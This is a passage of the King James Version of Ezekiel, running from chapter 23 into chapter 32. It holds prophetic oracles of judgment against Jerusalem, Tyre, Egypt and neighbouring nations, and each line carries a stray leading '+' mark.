+whoredom brought from the land of Egypt: so that thou shalt not lift +up thine eyes unto them, nor remember Egypt any more. + +23:28 For thus saith the Lord GOD; Behold, I will deliver thee into +the hand of them whom thou hatest, into the hand of them from whom thy +mind is alienated: 23:29 And they shall deal with thee hatefully, and +shall take away all thy labour, and shall leave thee naked and bare: +and the nakedness of thy whoredoms shall be discovered, both thy +lewdness and thy whoredoms. + +23:30 I will do these things unto thee, because thou hast gone a +whoring after the heathen, and because thou art polluted with their +idols. + +23:31 Thou hast walked in the way of thy sister; therefore will I give +her cup into thine hand. + +23:32 Thus saith the Lord GOD; Thou shalt drink of thy sister's cup +deep and large: thou shalt be laughed to scorn and had in derision; it +containeth much. + +23:33 Thou shalt be filled with drunkenness and sorrow, with the cup +of astonishment and desolation, with the cup of thy sister Samaria. + +23:34 Thou shalt even drink it and suck it out, and thou shalt break +the sherds thereof, and pluck off thine own breasts: for I have spoken +it, saith the Lord GOD. + +23:35 Therefore thus saith the Lord GOD; Because thou hast forgotten +me, and cast me behind thy back, therefore bear thou also thy lewdness +and thy whoredoms. + +23:36 The LORD said moreover unto me; Son of man, wilt thou judge +Aholah and Aholibah? yea, declare unto them their abominations; 23:37 +That they have committed adultery, and blood is in their hands, and +with their idols have they committed adultery, and have also caused +their sons, whom they bare unto me, to pass for them through the fire, +to devour them. + +23:38 Moreover this they have done unto me: they have defiled my +sanctuary in the same day, and have profaned my sabbaths. + +23:39 For when they had slain their children to their idols, then they +came the same day into my sanctuary to profane it; and, lo, thus have +they done in the midst of mine house. + +23:40 And furthermore, that ye have sent for men to come from far, +unto whom a messenger was sent; and, lo, they came: for whom thou +didst wash thyself, paintedst thy eyes, and deckedst thyself with +ornaments, 23:41 And satest upon a stately bed, and a table prepared +before it, whereupon thou hast set mine incense and mine oil. + +23:42 And a voice of a multitude being at ease was with her: and with +the men of the common sort were brought Sabeans from the wilderness, +which put bracelets upon their hands, and beautiful crowns upon their +heads. + +23:43 Then said I unto her that was old in adulteries, Will they now +commit whoredoms with her, and she with them? 23:44 Yet they went in +unto her, as they go in unto a woman that playeth the harlot: so went +they in unto Aholah and unto Aholibah, the lewd women. + +23:45 And the righteous men, they shall judge them after the manner of +adulteresses, and after the manner of women that shed blood; because +they are adulteresses, and blood is in their hands. + +23:46 For thus saith the Lord GOD; I will bring up a company upon +them, and will give them to be removed and spoiled. + +23:47 And the company shall stone them with stones, and dispatch them +with their swords; they shall slay their sons and their daughters, and +burn up their houses with fire. + +23:48 Thus will I cause lewdness to cease out of the land, that all +women may be taught not to do after your lewdness. + +23:49 And they shall recompense your lewdness upon you, and ye shall +bear the sins of your idols: and ye shall know that I am the Lord GOD. + +24:1 Again in the ninth year, in the tenth month, in the tenth day of +the month, the word of the LORD came unto me, saying, 24:2 Son of man, +write thee the name of the day, even of this same day: the king of +Babylon set himself against Jerusalem this same day. + +24:3 And utter a parable unto the rebellious house, and say unto them, +Thus saith the Lord GOD; Set on a pot, set it on, and also pour water +into it: 24:4 Gather the pieces thereof into it, even every good +piece, the thigh, and the shoulder; fill it with the choice bones. + +24:5 Take the choice of the flock, and burn also the bones under it, +and make it boil well, and let them seethe the bones of it therein. + +24:6 Wherefore thus saith the Lord GOD; Woe to the bloody city, to the +pot whose scum is therein, and whose scum is not gone out of it! bring +it out piece by piece; let no lot fall upon it. + +24:7 For her blood is in the midst of her; she set it upon the top of +a rock; she poured it not upon the ground, to cover it with dust; 24:8 +That it might cause fury to come up to take vengeance; I have set her +blood upon the top of a rock, that it should not be covered. + +24:9 Therefore thus saith the Lord GOD; Woe to the bloody city! I will +even make the pile for fire great. + +24:10 Heap on wood, kindle the fire, consume the flesh, and spice it +well, and let the bones be burned. + +24:11 Then set it empty upon the coals thereof, that the brass of it +may be hot, and may burn, and that the filthiness of it may be molten +in it, that the scum of it may be consumed. + +24:12 She hath wearied herself with lies, and her great scum went not +forth out of her: her scum shall be in the fire. + +24:13 In thy filthiness is lewdness: because I have purged thee, and +thou wast not purged, thou shalt not be purged from thy filthiness any +more, till I have caused my fury to rest upon thee. + +24:14 I the LORD have spoken it: it shall come to pass, and I will do +it; I will not go back, neither will I spare, neither will I repent; +according to thy ways, and according to thy doings, shall they judge +thee, saith the Lord GOD. + +24:15 Also the word of the LORD came unto me, saying, 24:16 Son of +man, behold, I take away from thee the desire of thine eyes with a +stroke: yet neither shalt thou mourn nor weep, neither shall thy tears +run down. + +24:17 Forbear to cry, make no mourning for the dead, bind the tire of +thine head upon thee, and put on thy shoes upon thy feet, and cover +not thy lips, and eat not the bread of men. + +24:18 So I spake unto the people in the morning: and at even my wife +died; and I did in the morning as I was commanded. + +24:19 And the people said unto me, Wilt thou not tell us what these +things are to us, that thou doest so? 24:20 Then I answered them, The +word of the LORD came unto me, saying, 24:21 Speak unto the house of +Israel, Thus saith the Lord GOD; Behold, I will profane my sanctuary, +the excellency of your strength, the desire of your eyes, and that +which your soul pitieth; and your sons and your daughters whom ye have +left shall fall by the sword. + +24:22 And ye shall do as I have done: ye shall not cover your lips, +nor eat the bread of men. + +24:23 And your tires shall be upon your heads, and your shoes upon +your feet: ye shall not mourn nor weep; but ye shall pine away for +your iniquities, and mourn one toward another. + +24:24 Thus Ezekiel is unto you a sign: according to all that he hath +done shall ye do: and when this cometh, ye shall know that I am the +Lord GOD. + +24:25 Also, thou son of man, shall it not be in the day when I take +from them their strength, the joy of their glory, the desire of their +eyes, and that whereupon they set their minds, their sons and their +daughters, 24:26 That he that escapeth in that day shall come unto +thee, to cause thee to hear it with thine ears? 24:27 In that day +shall thy mouth be opened to him which is escaped, and thou shalt +speak, and be no more dumb: and thou shalt be a sign unto them; and +they shall know that I am the LORD. + +25:1 The word of the LORD came again unto me, saying, 25:2 Son of man, +set thy face against the Ammonites, and prophesy against them; 25:3 +And say unto the Ammonites, Hear the word of the Lord GOD; Thus saith +the Lord GOD; Because thou saidst, Aha, against my sanctuary, when it +was profaned; and against the land of Israel, when it was desolate; +and against the house of Judah, when they went into captivity; 25:4 +Behold, therefore I will deliver thee to the men of the east for a +possession, and they shall set their palaces in thee, and make their +dwellings in thee: they shall eat thy fruit, and they shall drink thy +milk. + +25:5 And I will make Rabbah a stable for camels, and the Ammonites a +couching place for flocks: and ye shall know that I am the LORD. + +25:6 For thus saith the Lord GOD; Because thou hast clapped thine +hands, and stamped with the feet, and rejoiced in heart with all thy +despite against the land of Israel; 25:7 Behold, therefore I will +stretch out mine hand upon thee, and will deliver thee for a spoil to +the heathen; and I will cut thee off from the people, and I will cause +thee to perish out of the countries: I will destroy thee; and thou +shalt know that I am the LORD. + +25:8 Thus saith the Lord GOD; Because that Moab and Seir do say, +Behold, the house of Judah is like unto all the heathen; 25:9 +Therefore, behold, I will open the side of Moab from the cities, from +his cities which are on his frontiers, the glory of the country, +Bethjeshimoth, Baalmeon, and Kiriathaim, 25:10 Unto the men of the +east with the Ammonites, and will give them in possession, that the +Ammonites may not be remembered among the nations. + +25:11 And I will execute judgments upon Moab; and they shall know that +I am the LORD. + +25:12 Thus saith the Lord GOD; Because that Edom hath dealt against +the house of Judah by taking vengeance, and hath greatly offended, and +revenged himself upon them; 25:13 Therefore thus saith the Lord GOD; I +will also stretch out mine hand upon Edom, and will cut off man and +beast from it; and I will make it desolate from Teman; and they of +Dedan shall fall by the sword. + +25:14 And I will lay my vengeance upon Edom by the hand of my people +Israel: and they shall do in Edom according to mine anger and +according to my fury; and they shall know my vengeance, saith the Lord +GOD. + +25:15 Thus saith the Lord GOD; Because the Philistines have dealt by +revenge, and have taken vengeance with a despiteful heart, to destroy +it for the old hatred; 25:16 Therefore thus saith the Lord GOD; +Behold, I will stretch out mine hand upon the Philistines, and I will +cut off the Cherethims, and destroy the remnant of the sea coast. + +25:17 And I will execute great vengeance upon them with furious +rebukes; and they shall know that I am the LORD, when I shall lay my +vengeance upon them. + +26:1 And it came to pass in the eleventh year, in the first day of the +month, that the word of the LORD came unto me, saying, 26:2 Son of +man, because that Tyrus hath said against Jerusalem, Aha, she is +broken that was the gates of the people: she is turned unto me: I +shall be replenished, now she is laid waste: 26:3 Therefore thus saith +the Lord GOD; Behold, I am against thee, O Tyrus, and will cause many +nations to come up against thee, as the sea causeth his waves to come +up. + +26:4 And they shall destroy the walls of Tyrus, and break down her +towers: I will also scrape her dust from her, and make her like the +top of a rock. + +26:5 It shall be a place for the spreading of nets in the midst of the +sea: for I have spoken it, saith the Lord GOD: and it shall become a +spoil to the nations. + +26:6 And her daughters which are in the field shall be slain by the +sword; and they shall know that I am the LORD. + +26:7 For thus saith the Lord GOD; Behold, I will bring upon Tyrus +Nebuchadrezzar king of Babylon, a king of kings, from the north, with +horses, and with chariots, and with horsemen, and companies, and much +people. + +26:8 He shall slay with the sword thy daughters in the field: and he +shall make a fort against thee, and cast a mount against thee, and +lift up the buckler against thee. + +26:9 And he shall set engines of war against thy walls, and with his +axes he shall break down thy towers. + +26:10 By reason of the abundance of his horses their dust shall cover +thee: thy walls shall shake at the noise of the horsemen, and of the +wheels, and of the chariots, when he shall enter into thy gates, as +men enter into a city wherein is made a breach. + +26:11 With the hoofs of his horses shall he tread down all thy +streets: he shall slay thy people by the sword, and thy strong +garrisons shall go down to the ground. + +26:12 And they shall make a spoil of thy riches, and make a prey of +thy merchandise: and they shall break down thy walls, and destroy thy +pleasant houses: and they shall lay thy stones and thy timber and thy +dust in the midst of the water. + +26:13 And I will cause the noise of thy songs to cease; and the sound +of thy harps shall be no more heard. + +26:14 And I will make thee like the top of a rock: thou shalt be a +place to spread nets upon; thou shalt be built no more: for I the LORD +have spoken it, saith the Lord GOD. + +26:15 Thus saith the Lord GOD to Tyrus; Shall not the isles shake at +the sound of thy fall, when the wounded cry, when the slaughter is +made in the midst of thee? 26:16 Then all the princes of the sea +shall come down from their thrones, and lay away their robes, and put +off their broidered garments: they shall clothe themselves with +trembling; they shall sit upon the ground, and shall tremble at every +moment, and be astonished at thee. + +26:17 And they shall take up a lamentation for thee, and say to thee, +How art thou destroyed, that wast inhabited of seafaring men, the +renowned city, which wast strong in the sea, she and her inhabitants, +which cause their terror to be on all that haunt it! 26:18 Now shall +the isles tremble in the day of thy fall; yea, the isles that are in +the sea shall be troubled at thy departure. + +26:19 For thus saith the Lord GOD; When I shall make thee a desolate +city, like the cities that are not inhabited; when I shall bring up +the deep upon thee, and great waters shall cover thee; 26:20 When I +shall bring thee down with them that descend into the pit, with the +people of old time, and shall set thee in the low parts of the earth, +in places desolate of old, with them that go down to the pit, that +thou be not inhabited; and I shall set glory in the land of the +living; 26:21 I will make thee a terror, and thou shalt be no more: +though thou be sought for, yet shalt thou never be found again, saith +the Lord GOD. + +27:1 The word of the LORD came again unto me, saying, 27:2 Now, thou +son of man, take up a lamentation for Tyrus; 27:3 And say unto Tyrus, +O thou that art situate at the entry of the sea, which art a merchant +of the people for many isles, Thus saith the Lord GOD; O Tyrus, thou +hast said, I am of perfect beauty. + +27:4 Thy borders are in the midst of the seas, thy builders have +perfected thy beauty. + +27:5 They have made all thy ship boards of fir trees of Senir: they +have taken cedars from Lebanon to make masts for thee. + +27:6 Of the oaks of Bashan have they made thine oars; the company of +the Ashurites have made thy benches of ivory, brought out of the isles +of Chittim. + +27:7 Fine linen with broidered work from Egypt was that which thou +spreadest forth to be thy sail; blue and purple from the isles of +Elishah was that which covered thee. + +27:8 The inhabitants of Zidon and Arvad were thy mariners: thy wise +men, O Tyrus, that were in thee, were thy pilots. + +27:9 The ancients of Gebal and the wise men thereof were in thee thy +calkers: all the ships of the sea with their mariners were in thee to +occupy thy merchandise. + +27:10 They of Persia and of Lud and of Phut were in thine army, thy +men of war: they hanged the shield and helmet in thee; they set forth +thy comeliness. + +27:11 The men of Arvad with thine army were upon thy walls round +about, and the Gammadims were in thy towers: they hanged their shields +upon thy walls round about; they have made thy beauty perfect. + +27:12 Tarshish was thy merchant by reason of the multitude of all kind +of riches; with silver, iron, tin, and lead, they traded in thy fairs. + +27:13 Javan, Tubal, and Meshech, they were thy merchants: they traded +the persons of men and vessels of brass in thy market. + +27:14 They of the house of Togarmah traded in thy fairs with horses +and horsemen and mules. + +27:15 The men of Dedan were thy merchants; many isles were the +merchandise of thine hand: they brought thee for a present horns of +ivory and ebony. + +27:16 Syria was thy merchant by reason of the multitude of the wares +of thy making: they occupied in thy fairs with emeralds, purple, and +broidered work, and fine linen, and coral, and agate. + +27:17 Judah, and the land of Israel, they were thy merchants: they +traded in thy market wheat of Minnith, and Pannag, and honey, and oil, +and balm. + +27:18 Damascus was thy merchant in the multitude of the wares of thy +making, for the multitude of all riches; in the wine of Helbon, and +white wool. + +27:19 Dan also and Javan going to and fro occupied in thy fairs: +bright iron, cassia, and calamus, were in thy market. + +27:20 Dedan was thy merchant in precious clothes for chariots. + +27:21 Arabia, and all the princes of Kedar, they occupied with thee in +lambs, and rams, and goats: in these were they thy merchants. + +27:22 The merchants of Sheba and Raamah, they were thy merchants: they +occupied in thy fairs with chief of all spices, and with all precious +stones, and gold. + +27:23 Haran, and Canneh, and Eden, the merchants of Sheba, Asshur, and +Chilmad, were thy merchants. + +27:24 These were thy merchants in all sorts of things, in blue +clothes, and broidered work, and in chests of rich apparel, bound with +cords, and made of cedar, among thy merchandise. + +27:25 The ships of Tarshish did sing of thee in thy market: and thou +wast replenished, and made very glorious in the midst of the seas. + +27:26 Thy rowers have brought thee into great waters: the east wind +hath broken thee in the midst of the seas. + +27:27 Thy riches, and thy fairs, thy merchandise, thy mariners, and +thy pilots, thy calkers, and the occupiers of thy merchandise, and all +thy men of war, that are in thee, and in all thy company which is in +the midst of thee, shall fall into the midst of the seas in the day of +thy ruin. + +27:28 The suburbs shall shake at the sound of the cry of thy pilots. + +27:29 And all that handle the oar, the mariners, and all the pilots of +the sea, shall come down from their ships, they shall stand upon the +land; 27:30 And shall cause their voice to be heard against thee, and +shall cry bitterly, and shall cast up dust upon their heads, they +shall wallow themselves in the ashes: 27:31 And they shall make +themselves utterly bald for thee, and gird them with sackcloth, and +they shall weep for thee with bitterness of heart and bitter wailing. + +27:32 And in their wailing they shall take up a lamentation for thee, +and lament over thee, saying, What city is like Tyrus, like the +destroyed in the midst of the sea? 27:33 When thy wares went forth +out of the seas, thou filledst many people; thou didst enrich the +kings of the earth with the multitude of thy riches and of thy +merchandise. + +27:34 In the time when thou shalt be broken by the seas in the depths +of the waters thy merchandise and all thy company in the midst of thee +shall fall. + +27:35 All the inhabitants of the isles shall be astonished at thee, +and their kings shall be sore afraid, they shall be troubled in their +countenance. + +27:36 The merchants among the people shall hiss at thee; thou shalt be +a terror, and never shalt be any more. + +28:1 The word of the LORD came again unto me, saying, 28:2 Son of man, +say unto the prince of Tyrus, Thus saith the Lord GOD; Because thine +heart is lifted up, and thou hast said, I am a God, I sit in the seat +of God, in the midst of the seas; yet thou art a man, and not God, +though thou set thine heart as the heart of God: 28:3 Behold, thou art +wiser than Daniel; there is no secret that they can hide from thee: +28:4 With thy wisdom and with thine understanding thou hast gotten +thee riches, and hast gotten gold and silver into thy treasures: 28:5 +By thy great wisdom and by thy traffick hast thou increased thy +riches, and thine heart is lifted up because of thy riches: 28:6 +Therefore thus saith the Lord GOD; Because thou hast set thine heart +as the heart of God; 28:7 Behold, therefore I will bring strangers +upon thee, the terrible of the nations: and they shall draw their +swords against the beauty of thy wisdom, and they shall defile thy +brightness. + +28:8 They shall bring thee down to the pit, and thou shalt die the +deaths of them that are slain in the midst of the seas. + +28:9 Wilt thou yet say before him that slayeth thee, I am God? but +thou shalt be a man, and no God, in the hand of him that slayeth thee. + +28:10 Thou shalt die the deaths of the uncircumcised by the hand of +strangers: for I have spoken it, saith the Lord GOD. + +28:11 Moreover the word of the LORD came unto me, saying, 28:12 Son of +man, take up a lamentation upon the king of Tyrus, and say unto him, +Thus saith the Lord GOD; Thou sealest up the sum, full of wisdom, and +perfect in beauty. + +28:13 Thou hast been in Eden the garden of God; every precious stone +was thy covering, the sardius, topaz, and the diamond, the beryl, the +onyx, and the jasper, the sapphire, the emerald, and the carbuncle, +and gold: the workmanship of thy tabrets and of thy pipes was prepared +in thee in the day that thou wast created. + +28:14 Thou art the anointed cherub that covereth; and I have set thee +so: thou wast upon the holy mountain of God; thou hast walked up and +down in the midst of the stones of fire. + +28:15 Thou wast perfect in thy ways from the day that thou wast +created, till iniquity was found in thee. + +28:16 By the multitude of thy merchandise they have filled the midst +of thee with violence, and thou hast sinned: therefore I will cast +thee as profane out of the mountain of God: and I will destroy thee, O +covering cherub, from the midst of the stones of fire. + +28:17 Thine heart was lifted up because of thy beauty, thou hast +corrupted thy wisdom by reason of thy brightness: I will cast thee to +the ground, I will lay thee before kings, that they may behold thee. + +28:18 Thou hast defiled thy sanctuaries by the multitude of thine +iniquities, by the iniquity of thy traffick; therefore will I bring +forth a fire from the midst of thee, it shall devour thee, and I will +bring thee to ashes upon the earth in the sight of all them that +behold thee. + +28:19 All they that know thee among the people shall be astonished at +thee: thou shalt be a terror, and never shalt thou be any more. + +28:20 Again the word of the LORD came unto me, saying, 28:21 Son of +man, set thy face against Zidon, and prophesy against it, 28:22 And +say, Thus saith the Lord GOD; Behold, I am against thee, O Zidon; and +I will be glorified in the midst of thee: and they shall know that I +am the LORD, when I shall have executed judgments in her, and shall be +sanctified in her. + +28:23 For I will send into her pestilence, and blood into her streets; +and the wounded shall be judged in the midst of her by the sword upon +her on every side; and they shall know that I am the LORD. + +28:24 And there shall be no more a pricking brier unto the house of +Israel, nor any grieving thorn of all that are round about them, that +despised them; and they shall know that I am the Lord GOD. + +28:25 Thus saith the Lord GOD; When I shall have gathered the house of +Israel from the people among whom they are scattered, and shall be +sanctified in them in the sight of the heathen, then shall they dwell +in their land that I have given to my servant Jacob. + +28:26 And they shall dwell safely therein, and shall build houses, and +plant vineyards; yea, they shall dwell with confidence, when I have +executed judgments upon all those that despise them round about them; +and they shall know that I am the LORD their God. + +29:1 In the tenth year, in the tenth month, in the twelfth day of the +month, the word of the LORD came unto me, saying, 29:2 Son of man, set +thy face against Pharaoh king of Egypt, and prophesy against him, and +against all Egypt: 29:3 Speak, and say, Thus saith the Lord GOD; +Behold, I am against thee, Pharaoh king of Egypt, the great dragon +that lieth in the midst of his rivers, which hath said, My river is +mine own, and I have made it for myself. + +29:4 But I will put hooks in thy jaws, and I will cause the fish of +thy rivers to stick unto thy scales, and I will bring thee up out of +the midst of thy rivers, and all the fish of thy rivers shall stick +unto thy scales. + +29:5 And I will leave thee thrown into the wilderness, thee and all +the fish of thy rivers: thou shalt fall upon the open fields; thou +shalt not be brought together, nor gathered: I have given thee for +meat to the beasts of the field and to the fowls of the heaven. + +29:6 And all the inhabitants of Egypt shall know that I am the LORD, +because they have been a staff of reed to the house of Israel. + +29:7 When they took hold of thee by thy hand, thou didst break, and +rend all their shoulder: and when they leaned upon thee, thou brakest, +and madest all their loins to be at a stand. + +29:8 Therefore thus saith the Lord GOD; Behold, I will bring a sword +upon thee, and cut off man and beast out of thee. + +29:9 And the land of Egypt shall be desolate and waste; and they shall +know that I am the LORD: because he hath said, The river is mine, and +I have made it. + +29:10 Behold, therefore I am against thee, and against thy rivers, and +I will make the land of Egypt utterly waste and desolate, from the +tower of Syene even unto the border of Ethiopia. + +29:11 No foot of man shall pass through it, nor foot of beast shall +pass through it, neither shall it be inhabited forty years. + +29:12 And I will make the land of Egypt desolate in the midst of the +countries that are desolate, and her cities among the cities that are +laid waste shall be desolate forty years: and I will scatter the +Egyptians among the nations, and will disperse them through the +countries. + +29:13 Yet thus saith the Lord GOD; At the end of forty years will I +gather the Egyptians from the people whither they were scattered: +29:14 And I will bring again the captivity of Egypt, and will cause +them to return into the land of Pathros, into the land of their +habitation; and they shall be there a base kingdom. + +29:15 It shall be the basest of the kingdoms; neither shall it exalt +itself any more above the nations: for I will diminish them, that they +shall no more rule over the nations. + +29:16 And it shall be no more the confidence of the house of Israel, +which bringeth their iniquity to remembrance, when they shall look +after them: but they shall know that I am the Lord GOD. + +29:17 And it came to pass in the seven and twentieth year, in the +first month, in the first day of the month, the word of the LORD came +unto me, saying, 29:18 Son of man, Nebuchadrezzar king of Babylon +caused his army to serve a great service against Tyrus: every head was +made bald, and every shoulder was peeled: yet had he no wages, nor his +army, for Tyrus, for the service that he had served against it: 29:19 +Therefore thus saith the Lord GOD; Behold, I will give the land of +Egypt unto Nebuchadrezzar king of Babylon; and he shall take her +multitude, and take her spoil, and take her prey; and it shall be the +wages for his army. + +29:20 I have given him the land of Egypt for his labour wherewith he +served against it, because they wrought for me, saith the Lord GOD. + +29:21 In that day will I cause the horn of the house of Israel to bud +forth, and I will give thee the opening of the mouth in the midst of +them; and they shall know that I am the LORD. + +30:1 The word of the LORD came again unto me, saying, 30:2 Son of man, +prophesy and say, Thus saith the Lord GOD; Howl ye, Woe worth the day! +30:3 For the day is near, even the day of the LORD is near, a cloudy +day; it shall be the time of the heathen. + +30:4 And the sword shall come upon Egypt, and great pain shall be in +Ethiopia, when the slain shall fall in Egypt, and they shall take away +her multitude, and her foundations shall be broken down. + +30:5 Ethiopia, and Libya, and Lydia, and all the mingled people, and +Chub, and the men of the land that is in league, shall fall with them +by the sword. + +30:6 Thus saith the LORD; They also that uphold Egypt shall fall; and +the pride of her power shall come down: from the tower of Syene shall +they fall in it by the sword, saith the Lord GOD. + +30:7 And they shall be desolate in the midst of the countries that are +desolate, and her cities shall be in the midst of the cities that are +wasted. + +30:8 And they shall know that I am the LORD, when I have set a fire in +Egypt, and when all her helpers shall be destroyed. + +30:9 In that day shall messengers go forth from me in ships to make +the careless Ethiopians afraid, and great pain shall come upon them, +as in the day of Egypt: for, lo, it cometh. + +30:10 Thus saith the Lord GOD; I will also make the multitude of Egypt +to cease by the hand of Nebuchadrezzar king of Babylon. + +30:11 He and his people with him, the terrible of the nations, shall +be brought to destroy the land: and they shall draw their swords +against Egypt, and fill the land with the slain. + +30:12 And I will make the rivers dry, and sell the land into the hand +of the wicked: and I will make the land waste, and all that is +therein, by the hand of strangers: I the LORD have spoken it. + +30:13 Thus saith the Lord GOD; I will also destroy the idols, and I +will cause their images to cease out of Noph; and there shall be no +more a prince of the land of Egypt: and I will put a fear in the land +of Egypt. + +30:14 And I will make Pathros desolate, and will set fire in Zoan, and +will execute judgments in No. + +30:15 And I will pour my fury upon Sin, the strength of Egypt; and I +will cut off the multitude of No. + +30:16 And I will set fire in Egypt: Sin shall have great pain, and No +shall be rent asunder, and Noph shall have distresses daily. + +30:17 The young men of Aven and of Pibeseth shall fall by the sword: +and these cities shall go into captivity. + +30:18 At Tehaphnehes also the day shall be darkened, when I shall +break there the yokes of Egypt: and the pomp of her strength shall +cease in her: as for her, a cloud shall cover her, and her daughters +shall go into captivity. + +30:19 Thus will I execute judgments in Egypt: and they shall know that +I am the LORD. + +30:20 And it came to pass in the eleventh year, in the first month, in +the seventh day of the month, that the word of the LORD came unto me, +saying, 30:21 Son of man, I have broken the arm of Pharaoh king of +Egypt; and, lo, it shall not be bound up to be healed, to put a roller +to bind it, to make it strong to hold the sword. + +30:22 Therefore thus saith the Lord GOD; Behold, I am against Pharaoh +king of Egypt, and will break his arms, the strong, and that which was +broken; and I will cause the sword to fall out of his hand. + +30:23 And I will scatter the Egyptians among the nations, and will +disperse them through the countries. + +30:24 And I will strengthen the arms of the king of Babylon, and put +my sword in his hand: but I will break Pharaoh's arms, and he shall +groan before him with the groanings of a deadly wounded man. + +30:25 But I will strengthen the arms of the king of Babylon, and the +arms of Pharaoh shall fall down; and they shall know that I am the +LORD, when I shall put my sword into the hand of the king of Babylon, +and he shall stretch it out upon the land of Egypt. + +30:26 And I will scatter the Egyptians among the nations, and disperse +them among the countries; and they shall know that I am the LORD. + +31:1 And it came to pass in the eleventh year, in the third month, in +the first day of the month, that the word of the LORD came unto me, +saying, 31:2 Son of man, speak unto Pharaoh king of Egypt, and to his +multitude; Whom art thou like in thy greatness? 31:3 Behold, the +Assyrian was a cedar in Lebanon with fair branches, and with a +shadowing shroud, and of an high stature; and his top was among the +thick boughs. + +31:4 The waters made him great, the deep set him up on high with her +rivers running round about his plants, and sent her little rivers unto +all the trees of the field. + +31:5 Therefore his height was exalted above all the trees of the +field, and his boughs were multiplied, and his branches became long +because of the multitude of waters, when he shot forth. + +31:6 All the fowls of heaven made their nests in his boughs, and under +his branches did all the beasts of the field bring forth their young, +and under his shadow dwelt all great nations. + +31:7 Thus was he fair in his greatness, in the length of his branches: +for his root was by great waters. + +31:8 The cedars in the garden of God could not hide him: the fir trees +were not like his boughs, and the chestnut trees were not like his +branches; nor any tree in the garden of God was like unto him in his +beauty. + +31:9 I have made him fair by the multitude of his branches: so that +all the trees of Eden, that were in the garden of God, envied him. + +31:10 Therefore thus saith the Lord GOD; Because thou hast lifted up +thyself in height, and he hath shot up his top among the thick boughs, +and his heart is lifted up in his height; 31:11 I have therefore +delivered him into the hand of the mighty one of the heathen; he shall +surely deal with him: I have driven him out for his wickedness. + +31:12 And strangers, the terrible of the nations, have cut him off, +and have left him: upon the mountains and in all the valleys his +branches are fallen, and his boughs are broken by all the rivers of +the land; and all the people of the earth are gone down from his +shadow, and have left him. + +31:13 Upon his ruin shall all the fowls of the heaven remain, and all +the beasts of the field shall be upon his branches: 31:14 To the end +that none of all the trees by the waters exalt themselves for their +height, neither shoot up their top among the thick boughs, neither +their trees stand up in their height, all that drink water: for they +are all delivered unto death, to the nether parts of the earth, in the +midst of the children of men, with them that go down to the pit. + +31:15 Thus saith the Lord GOD; In the day when he went down to the +grave I caused a mourning: I covered the deep for him, and I +restrained the floods thereof, and the great waters were stayed: and I +caused Lebanon to mourn for him, and all the trees of the field +fainted for him. + +31:16 I made the nations to shake at the sound of his fall, when I +cast him down to hell with them that descend into the pit: and all the +trees of Eden, the choice and best of Lebanon, all that drink water, +shall be comforted in the nether parts of the earth. + +31:17 They also went down into hell with him unto them that be slain +with the sword; and they that were his arm, that dwelt under his +shadow in the midst of the heathen. + +31:18 To whom art thou thus like in glory and in greatness among the +trees of Eden? yet shalt thou be brought down with the trees of Eden +unto the nether parts of the earth: thou shalt lie in the midst of the +uncircumcised with them that be slain by the sword. This is Pharaoh +and all his multitude, saith the Lord GOD. + +32:1 And it came to pass in the twelfth year, in the twelfth month, in +the first day of the month, that the word of the LORD came unto me, +saying, 32:2 Son of man, take up a lamentation for Pharaoh king of +Egypt, and say unto him, Thou art like a young lion of the nations, +and thou art as a whale in the seas: and thou camest forth with thy +rivers, and troubledst the waters with thy feet, and fouledst their +rivers. + +32:3 Thus saith the Lord GOD; I will therefore spread out my net over +thee with a company of many people; and they shall bring thee up in my +net. + +32:4 Then will I leave thee upon the land, I will cast thee forth upon +the open field, and will cause all the fowls of the heaven to remain +upon thee, and I will fill the beasts of the whole earth with thee. + +32:5 And I will lay thy flesh upon the mountains, and fill the valleys +with thy height. + +32:6 I will also water with thy blood the land wherein thou swimmest, +even to the mountains; and the rivers shall be full of thee. + +32:7 And when I shall put thee out, I will cover the heaven, and make +the stars thereof dark; I will cover the sun with a cloud, and the +moon shall not give her light. + +32:8 All the bright lights of heaven will I make dark over thee, and +set darkness upon thy land, saith the Lord GOD. + +32:9 I will also vex the hearts of many people, when I shall bring thy +destruction among the nations, into the countries which thou hast not +known. + +32:10 Yea, I will make many people amazed at thee, and their kings +shall be horribly afraid for thee, when I shall brandish my sword +before them; and they shall tremble at every moment, every man for his +own life, in the day of thy fall. + +32:11 For thus saith the Lord GOD; The sword of the king of Babylon +shall come upon thee. + +32:12 By the swords of the mighty will I cause thy multitude to fall, +the terrible of the nations, all of them: and they shall spoil the +pomp of Egypt, and all the multitude thereof shall be destroyed. + +32:13 I will destroy also all the beasts thereof from beside the great +waters; neither shall the foot of man trouble them any more, nor the +hoofs of beasts trouble them. + +32:14 Then will I make their waters deep, and cause their rivers to +run like oil, saith the Lord GOD. + +32:15 When I shall make the land of Egypt desolate, and the country +shall be destitute of that whereof it was full, when I shall smite all +them that dwell therein, then shall they know that I am the LORD. + +32:16 This is the lamentation wherewith they shall lament her: the +daughters of the nations shall lament her: they shall lament for her, +even for Egypt, and for all her multitude, saith the Lord GOD. + +32:17 It came to pass also in the twelfth year, in the fifteenth day +of the month, that the word of the LORD came unto me, saying, 32:18 +Son of man, wail for the multitude of Egypt, and cast them down, even +her, and the daughters of the famous nations, unto the nether parts of +the earth, with them that go down into the pit. + +32:19 Whom dost thou pass in beauty? go down, and be thou laid with +the uncircumcised. + +32:20 They shall fall in the midst of them that are slain by the +sword: she is delivered to the sword: draw her and all her multitudes. + +32:21 The strong among the mighty shall speak to him out of the midst +of hell with them that help him: they are gone down, they lie +uncircumcised, slain by the sword. + +32:22 Asshur is there and all her company: his graves are about him: +all of them slain, fallen by the sword: 32:23 Whose graves are set in +the sides of the pit, and her company is round about her grave: all of +them slain, fallen by the sword, which caused terror in the land of +the living. + +32:24 There is Elam and all her multitude round about her grave, all +of them slain, fallen by the sword, which are gone down uncircumcised +into the nether parts of the earth, which caused their terror in the +land of the living; yet have they borne their shame with them that go +down to the pit. + +32:25 They have set her a bed in the midst of the slain with all her +multitude: her graves are round about him: all of them uncircumcised, +slain by the sword: though their terror was caused in the land of the +living, yet have they borne their shame with them that go down to the +pit: he is put in the midst of them that be slain. + +32:26 There is Meshech, Tubal, and all her multitude: her graves are +round about him: all of them uncircumcised, slain by the sword, though +they caused their terror in the land of the living. + +32:27 And they shall not lie with the mighty that are fallen of the +uncircumcised, which are gone down to hell with their weapons of war: +and they have laid their swords under their heads, but their +iniquities shall be upon their bones, though they were the terror of +the mighty in the land of the living. + +32:28 Yea, thou shalt be broken in the midst of the uncircumcised, and +shalt lie with them that are slain with the sword. + +32:29 There is Edom, her kings, and all her princes, which with their +might are laid by them that were slain by the sword: they shall lie +with the uncircumcised, and with them that go down to the 